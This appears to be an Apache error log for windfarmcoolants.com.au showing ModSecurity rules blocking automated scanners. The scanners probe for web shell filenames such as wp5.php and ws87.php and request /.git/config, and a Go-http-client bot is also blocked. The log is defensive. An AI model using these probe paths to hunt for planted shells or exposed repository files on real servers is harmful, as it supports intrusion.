[Sat Apr 04 00:29:49.209676 2026] [:error] [pid 40562:tid 40578] [client 20.215.254.185:64431] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "ac_q_TfFMXuP9zvqCerDCwAAAY0"]
[Sat Apr 04 00:29:49.730885 2026] [:error] [pid 55174:tid 55193] [client 20.215.254.185:64458] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "ac_q_Z_WKqUonPNUHYwdlQAAAdE"]
[Sat Apr 04 00:29:50.270199 2026] [:error] [pid 33445:tid 33457] [client 20.215.254.185:56245] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "ac_q_llRNZ0iDVmJWM2GHQAAAAc"]
[Sat Apr 04 00:29:50.847452 2026] [:error] [pid 40562:tid 40573] [client 20.215.254.185:56240] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "ac_q_jfFMXuP9zvqCerDGAAAAYg"]
[Sat Apr 04 00:29:51.361190 2026] [:error] [pid 35469:tid 35474] [client 20.215.254.185:61509] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "ac_q_6GvTIc8-wY3jUTXDAAAAQM"]
[Sat Apr 04 00:29:51.903639 2026] [:error] [pid 40562:tid 40570] [client 20.215.254.185:61520] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "ac_q_zfFMXuP9zvqCerDHAAAAYU"]
[Sat Apr 04 00:29:52.447514 2026] [:error] [pid 40562:tid 40588] [client 20.215.254.185:61542] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "ac_rADfFMXuP9zvqCerDIQAAAZc"]
[Sat Apr 04 00:29:52.962472 2026] [:error] [pid 55174:tid 55185] [client 20.215.254.185:61550] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "ac_rAJ_WKqUonPNUHYwdnAAAAck"]
[Sat Apr 04 00:29:53.494860 2026] [:error] [pid 33447:tid 33509] [client 20.215.254.185:64484] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "ac_rAUgaPmDHz92j4lNwzQAAAIU"]
[Sat Apr 04 00:29:54.030314 2026] [:error] [pid 33447:tid 33525] [client 20.215.254.185:56211] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws87.php"] [unique_id "ac_rAkgaPmDHz92j4lNwzwAAAJU"]
[Sat Apr 04 00:29:54.544203 2026] [:error] [pid 33447:tid 33521] [client 20.215.254.185:64460] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "ac_rAkgaPmDHz92j4lNw0gAAAJE"]
[Sat Apr 04 00:29:55.061527 2026] [:error] [pid 33446:tid 33488] [client 20.215.254.185:47576] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "ac_rA9g3dCqFYIIdw0qqlAAAAEs"]
[Sat Apr 04 00:29:55.575289 2026] [:error] [pid 33445:tid 33465] [client 20.215.254.185:56251] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "ac_rA1lRNZ0iDVmJWM2GJgAAAA8"]
[Sat Apr 04 00:29:56.106409 2026] [:error] [pid 33446:tid 33491] [client 20.215.254.185:59246] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "ac_rBNg3dCqFYIIdw0qqlQAAAE4"]
[Sat Apr 04 00:29:56.624563 2026] [:error] [pid 33446:tid 33478] [client 20.215.254.185:64435] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Cap.php"] [unique_id "ac_rBNg3dCqFYIIdw0qqlwAAAEE"]
[Sat Apr 04 00:29:57.139720 2026] [:error] [pid 33542:tid 33554] [client 20.215.254.185:61088] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Cap.php"] [unique_id "ac_rBXwb6uB1LaGtepZAewAAAMk"]
[Sat Apr 04 00:29:57.656993 2026] [:error] [pid 33446:tid 33489] [client 20.215.254.185:63776] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Cap.php"] [unique_id "ac_rBdg3dCqFYIIdw0qqmgAAAEw"]
[Sat Apr 04 00:29:58.203868 2026] [:error] [pid 33445:tid 33469] [client 20.215.254.185:59208] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Cap.php"] [unique_id "ac_rBllRNZ0iDVmJWM2GMAAAABM"]
[Sat Apr 04 00:29:58.729060 2026] [:error] [pid 33445:tid 33455] [client 20.215.254.185:61076] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "ac_rBllRNZ0iDVmJWM2GMQAAAAU"]
[Sat Apr 04 00:29:59.260637 2026] [:error] [pid 40533:tid 40554] [client 20.215.254.185:60484] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "ac_rB_bIAA8AViDmwssMhwAAAVM"]
[Sat Apr 04 00:29:59.796708 2026] [:error] [pid 40533:tid 40539] [client 20.215.254.185:47600] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "ac_rB_bIAA8AViDmwssMigAAAUQ"]
[Sat Apr 04 00:30:00.342132 2026] [:error] [pid 40562:tid 40587] [client 20.215.254.185:59738] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "ac_rCDfFMXuP9zvqCerDKgAAAZY"]
[Sat Apr 04 00:30:00.979230 2026] [:error] [pid 55174:tid 55198] [client 20.215.254.185:47613] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "ac_rCJ_WKqUonPNUHYwdowAAAdY"]
[Sat Apr 04 00:30:01.521373 2026] [:error] [pid 35469:tid 35495] [client 20.215.254.185:45966] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "ac_rCaGvTIc8-wY3jUTXGgAAARg"]
[Sat Apr 04 00:30:02.047813 2026] [:error] [pid 33542:tid 33559] [client 20.215.254.185:64433] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "ac_rCnwb6uB1LaGtepZAkwAAAM4"]
[Sat Apr 04 00:30:02.564628 2026] [:error] [pid 33542:tid 33553] [client 20.215.254.185:47595] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "ac_rCnwb6uB1LaGtepZAlQAAAMg"]
[Sat Apr 04 00:30:03.092110 2026] [:error] [pid 35469:tid 35486] [client 20.215.254.185:59206] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gfd.php"] [unique_id "ac_rC6GvTIc8-wY3jUTXIgAAAQ8"]
[Sat Apr 04 00:30:03.631809 2026] [:error] [pid 35469:tid 35477] [client 20.215.254.185:63195] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gfd.php"] [unique_id "ac_rC6GvTIc8-wY3jUTXJwAAAQY"]
[Sat Apr 04 00:30:04.158736 2026] [:error] [pid 33542:tid 33551] [client 20.215.254.185:61510] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gfd.php"] [unique_id "ac_rDHwb6uB1LaGtepZAmQAAAMY"]
[Sat Apr 04 00:30:04.684053 2026] [:error] [pid 33446:tid 33490] [client 20.215.254.185:45958] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gfd.php"] [unique_id "ac_rDNg3dCqFYIIdw0qqowAAAE0"]
[Sat Apr 04 00:30:05.220535 2026] [:error] [pid 55174:tid 55182] [client 20.215.254.185:59214] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx78.php"] [unique_id "ac_rDZ_WKqUonPNUHYwdpAAAAcY"]
[Sat Apr 04 00:30:05.745658 2026] [:error] [pid 40562:tid 40566] [client 20.215.254.185:63227] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx78.php"] [unique_id "ac_rDTfFMXuP9zvqCerDLQAAAYE"]
[Sat Apr 04 00:30:06.273675 2026] [:error] [pid 35469:tid 35488] [client 20.215.254.185:45983] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx78.php"] [unique_id "ac_rDqGvTIc8-wY3jUTXMQAAARE"]
[Sat Apr 04 00:30:06.799182 2026] [:error] [pid 40562:tid 40567] [client 20.215.254.185:56205] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx78.php"] [unique_id "ac_rDjfFMXuP9zvqCerDMQAAAYI"]
[Sat Apr 04 00:30:07.314782 2026] [:error] [pid 35469:tid 35487] [client 20.215.254.185:47594] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "ac_rD6GvTIc8-wY3jUTXNgAAARA"]
[Sat Apr 04 00:30:07.829212 2026] [:error] [pid 55174:tid 55179] [client 20.215.254.185:47557] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "ac_rD5_WKqUonPNUHYwdqAAAAcM"]
[Sat Apr 04 00:30:08.347143 2026] [:error] [pid 33445:tid 33466] [client 20.215.254.185:64492] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "ac_rEFlRNZ0iDVmJWM2GPAAAABA"]
[Sat Apr 04 00:30:08.863711 2026] [:error] [pid 33445:tid 33459] [client 20.215.254.185:63198] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "ac_rEFlRNZ0iDVmJWM2GPQAAAAk"]
[Sat Apr 04 00:30:09.398634 2026] [:error] [pid 33447:tid 33513] [client 20.215.254.185:59216] File does not exist: /usr/local/apache/htdocs/suspended-page/8573.php
[Sat Apr 04 00:30:09.659623 2026] [:error] [pid 33447:tid 33507] [client 20.215.254.185:59216] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Sat Apr 04 00:30:09.946983 2026] [:error] [pid 33447:tid 33510] [client 20.215.254.185:59216] File does not exist: /usr/local/apache/htdocs/suspended-page/green.php
[Sat Apr 04 00:30:10.207043 2026] [:error] [pid 33447:tid 33520] [client 20.215.254.185:59216] File does not exist: /usr/local/apache/htdocs/suspended-page/myfile.php
[Sat Apr 04 00:30:10.467431 2026] [:error] [pid 33447:tid 33525] [client 20.215.254.185:59216] File does not exist: /usr/local/apache/htdocs/suspended-page/wp9.php
[Sat Apr 04 00:30:10.728158 2026] [:error] [pid 33447:tid 33526] [client 20.215.254.185:59216] File does not exist: /usr/local/apache/htdocs/suspended-page/xsas.php
[Sat Apr 04 00:30:10.988765 2026] [:error] [pid 33447:tid 33522] [client 20.215.254.185:59216] File does not exist: /usr/local/apache/htdocs/suspended-page/sid3.php
[Sat Apr 04 00:30:11.248432 2026] [:error] [pid 33447:tid 33512] [client 20.215.254.185:59216] File does not exist: /usr/local/apache/htdocs/suspended-page/nw.php
[Sat Apr 04 00:30:11.509454 2026] [:error] [pid 33447:tid 33515] [client 20.215.254.185:59216] File does not exist: /usr/local/apache/htdocs/suspended-page/hhxc.php
[Sat Apr 04 00:39:56.620846 2026] [:error] [pid 12089:tid 12143] [client 20.215.255.154:42295] File does not exist: /usr/local/apache/htdocs/suspended-page/wpb.php
[Sat Apr 04 07:05:11.593980 2026] [:error] [pid 37114:tid 37134] [client 45.92.1.112:54503] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adBHp8-DnSj3fGMexeKjfwAAARI"]
[Sat Apr 04 07:05:12.109570 2026] [:error] [pid 2457:tid 2497] [client 45.92.1.112:54132] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adBHqEmNHppaMd92ZpdnLgAAABQ"]
[Sat Apr 04 07:05:12.647325 2026] [:error] [pid 2567:tid 2574] [client 45.92.1.112:56618] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adBHqGJJmfRsTrAKjdSToAAAAMA"]
[Sat Apr 04 07:05:13.237075 2026] [:error] [pid 37114:tid 37119] [client 45.92.1.112:51001] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adBHqc-DnSj3fGMexeKjlQAAAQM"]
[Sat Apr 04 07:05:13.742634 2026] [:error] [pid 2457:tid 2493] [client 45.92.1.112:53692] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adBHqUmNHppaMd92ZpdnMgAAABA"]
[Sat Apr 04 14:07:07.212936 2026] [:error] [pid 2459:tid 2536] [client 209.87.169.109:28811] [client 209.87.169.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "adCqiwefyCmu4LR_Plop_AAAAIU"]
[Sat Apr 04 20:48:28.949540 2026] [:error] [pid 2458:tid 2504] [client 159.65.167.144:44846] [client 159.65.167.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adEInCNozic5SuWqclkbrQAAAEA"]
[Sun Apr 05 07:18:03.427035 2026] [:error] [pid 30921:tid 30927] [client 4.193.176.33:26836] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Apr 05 07:18:03.519028 2026] [:error] [pid 30921:tid 30941] [client 4.193.176.33:26836] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sun Apr 05 07:18:03.817624 2026] [:error] [pid 30921:tid 30925] [client 4.193.176.33:26836] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sun Apr 05 07:18:03.912559 2026] [:error] [pid 30921:tid 30947] [client 4.193.176.33:26836] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sun Apr 05 07:18:04.284677 2026] [:error] [pid 30921:tid 30924] [client 4.193.176.33:26836] File does not exist: /usr/local/apache/htdocs/suspended-page/lite.php
[Sun Apr 05 07:18:04.465532 2026] [:error] [pid 30921:tid 30929] [client 4.193.176.33:26836] [client 4.193.176.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/"] [unique_id "adGcLGFGQVn8Q0ueB26TTAAAAQY"]
[Sun Apr 05 07:18:04.830004 2026] [:error] [pid 45305:tid 45379] [client 4.193.176.33:29985] [client 4.193.176.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/"] [unique_id "adGcLOjDQjr7aWhjflBcWgAAAIg"]
[Sun Apr 05 07:18:05.184834 2026] [:error] [pid 30921:tid 30946] [client 4.193.176.33:20763] [client 4.193.176.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/"] [unique_id "adGcLWFGQVn8Q0ueB26TTgAAARc"]
[Sun Apr 05 07:18:05.537955 2026] [:error] [pid 45305:tid 45390] [client 4.193.176.33:22352] [client 4.193.176.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/"] [unique_id "adGcLejDQjr7aWhjflBcXQAAAJM"]
[Sun Apr 05 07:18:47.615838 2026] [:error] [pid 30921:tid 30946] [client 74.234.80.3:8584] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Sun Apr 05 07:18:47.869976 2026] [:error] [pid 30921:tid 30928] [client 74.234.80.3:8584] File does not exist: /usr/local/apache/htdocs/suspended-page/taff.php
[Sun Apr 05 07:18:48.123872 2026] [:error] [pid 30921:tid 30935] [client 74.234.80.3:8584] File does not exist: /usr/local/apache/htdocs/suspended-page/maxro.php
[Sun Apr 05 07:18:48.383582 2026] [:error] [pid 30921:tid 30932] [client 74.234.80.3:8584] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Sun Apr 05 07:18:48.640796 2026] [:error] [pid 30921:tid 30942] [client 74.234.80.3:8584] File does not exist: /usr/local/apache/htdocs/suspended-page/tymi.php
[Sun Apr 05 07:18:48.893918 2026] [:error] [pid 30921:tid 30929] [client 74.234.80.3:8584] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Sun Apr 05 07:18:49.148356 2026] [:error] [pid 30921:tid 30927] [client 74.234.80.3:8584] File does not exist: /usr/local/apache/htdocs/suspended-page/7logs.php
